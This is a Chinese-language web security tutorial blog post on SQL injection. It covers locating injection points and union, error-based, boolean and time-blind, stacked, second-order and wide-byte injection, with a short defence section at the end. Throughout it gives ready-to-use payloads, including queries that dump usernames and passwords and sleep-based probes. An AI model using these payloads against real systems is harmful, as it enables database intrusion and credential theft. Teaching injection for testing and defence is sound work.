【web安全】SQL注入篇

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●)
如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦


SQL注入漏洞基础

漏洞描述

攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系统有特殊意义的符号或命令,让攻击
者有机会直接对后台数据库系统下达指令,进而实现对后台数据库乃至整个应用系统的入侵。

sql 注入原理

服务器没有过滤用户输入的恶意数据,直接把用户输入的数据当作sql语句执行,从而影响数据库安全和平台安全。

利用条件

1.程序员在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。

2.未对用户可控参数进行足够的过滤,便将参数内容拼接到SQL语句中。

mysql查询语句

select ... from ... where ...=...
select group_concat(table_name)		

group_concat()函数用于将多行结果合并成一个字符串。

SQL注入分类

基本类型基本手法方式注入点位置
数字型
字符型
报错注入
联合查询
布尔盲注
延时注入
堆叠查询
GET注入
POST注入
Cookie注入
HTTP头部注入
URL注入
搜索框注入
留言板注入
登录框注入

判断注入点

1. 区分请求类型(get、post)

get 在url处进行注入

post 在有输入框进行交互的地方

2. 判断是否存在注点

添加动态参数 id = 1'

如果报错则存在注入点

不报错则证明不存在注入点或没有回显

3. 区分注点(数值型、字符型)

  1. 数值型

    id=1 and 1=1
    id=1 and i=2
    

    若不报错则证明其不是数值型

  2. 字符型

    id=1' and '1'='1
    id=1' and '1'='2
    

    若不报错则证明其不是字符型

    第一个'作用是闭合

sql基本语句

  1. 判断列数

    ?id=1 order by 1 
    ?id=1 order by 2
    ...
    

    一直到报错没有显示为止

  2. 判断回显位(假设列数为3)

    ?id=1 and union select 1,2 -- -
    ?id=1 and union select 1,2,3 -- -
    

    1,2,3为占位符

  3. 判断之前order by得到的列可不可以回显数据:

    假如不能回显那就去使用盲注

    假如我们发现显示了一个3,说明第三个会显示在页面上,我们就可以开始注入了。

注入方式

联合注入

必须前一条无法回显(错误)才能显示第二条

union联合查询

­显示出登录用户和数据库名

union select 1,user(),database() -- -

查看数据库有哪些表

union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -

查看对应表有哪些列

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -

解释:从information_schema数据库的columns表中查询security数据库下users表的所有列名。

查看账号密码信息

union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -

0x7e中,0x代表16进制,7e在ASCII码表中对应~

报错注入

无回显无法用sql注入,使用mysql报错函数(共12种)

若常规报错函数被ban掉,在官方手册找平替报错函数(越小众越好)如:polygon()

updatexml()

用于在xml中获取特定节点并更新其值

查询数据库名,例:

? id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

extractvalue()

查询数据库名,例:

? id=1 and extractvalue (1,concat(0x7e,(select database())))--+

floor()

用于mysql在xml中取整或确定下限(不常用)

'FLOOR(4.7)'	返回'4'
'FLOOR(-4.7)'	返回'-5'

floor报错原理

利用数据库表主键不能重复的原理,使用GROUP BY分组,产生主键key冗余,导致报错

示例代码:

? id=1 and (select count(*),(floor(rand(0)*2)) as x from table_nam group by x)

盲注

页面中有布尔类型的状态,可以根据布尔类型状态,对数据库中的内容进行判断,可以通过写python脚本实现自动化

布尔盲注

  1. 判断数据库类型(MYSQL、access、SQLServer)

    • 判断是否是MySQL数据库

      and exists(select * from information_schema.tables) --+
      
    • 判断是否是access数据库

      and exists(select * from msysobjects) --+
      
    • 判断是否是SQLServer数据库

      and exists(select * from sysobjects) --+
      
  2. 判断数据库名长度length()

    ' and length(database())=8--+
    

    8为判断长度

    通过页面是否报错或正常显示来判断它的长

  3. 猜测数据库名

    1. 一位一位猜 left()

      ' and left(database(),3)>'sec' --+
      

      '3’为位数,'sec’为猜的字符

    2. 用ascii码,二分法 substr()

      ascii(substr((select database()),1,1))=115--+
      

      SUBSTR函数:用于从一个字符串中提取子字符串。可以指定起始位置和长度

=也可以替换成>likelike为模糊查询

时间盲注

  1. sleep()函数

    利用sleep( )语句的延时性,以时间线作为判断条件

    ' and sleep(5) --+
    ' and if(1=1,sleep(5),1) --+
    ' and if(ascii(substr(daatbase(),1,1))<100,sleep(5),null) --+
    

    if为判断语句,判断’1=1’,如果成立执行’sleep(5),不成立执行’1’

  2. WAITFOR DELAY’0:0:5’

dnslog盲注

堆叠注入

原理:

将多条sql注入语句堆叠在一起进行查询,且可以执行多条SQL语句,语句之间以分号(;)隔开,其注入攻击就是利用此特点,在第二条语句中构造payload

优势:

联合查询union也可拼接语句(有局限性),但是堆叠注入能注入任意语句

union执行一条语句,堆叠执行多条(需要分号)

局限:

利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,PHP为了防止sql注入机制,往往使用调用数据库的函数mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行

例:

1';creat table A2rcher like users;--+

可实现rce远程 命令/代码 执行

sqlmap自动注入

二次注入

  1. 将admin’#插入数据库 设密为:123456 第一次注入

    更改admin’#的密码 654321 第二次注入

  2. 登陆admin发现密码被更改为654321

原理:1)用户向数据库插入的语句被转义和过滤的不够彻底(即使后端代码对语句进行了转义,如mysql_ escape_
(2)数据库直接取出数据,不对数据进行转义

宽字节注入

宽字节注入准确来说不是注入手法,而是一种比较特殊的情况,目的是绕过单双引号转义。

条件:宽字节编码,绕过限制

常见的宽字节概念包括以下几种情况:

1.宽字节字符集

在字符编码中,“宽字节”常指的是每个字符使用多个字节(通常是2字节或4字节)进行编码的字符集。这与“窄字节“字符集(如ASCII或UTF-8的单字节模式)相对。

窄字节:字符大小为一个字节

**宽字节:**字符大小为两个字节

3.宽字节编码比较

· UTF-8:“汉”的UTF-8编码是0xE6 0xB1 0x89(三个字节)。

· UTF-16:“汉”的UTF-16编码是0x6C49(两个字节)。

· UTF-32:"汉”的UTF-32编码是0x00006C49(四个字节)。

伪静态注入

静态页面:不会动,与用户没有交互的页面,

伪静态页面:中间件加载了伪静态插件代码其实不是真正的静态页面,一般用于政府和学校,显示html页面

防御方案

代码方面防护

各种函数过滤

防御脚本,用include函数含在web配置文件中

web防护

PDO预处理

waf防护

云端防护

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值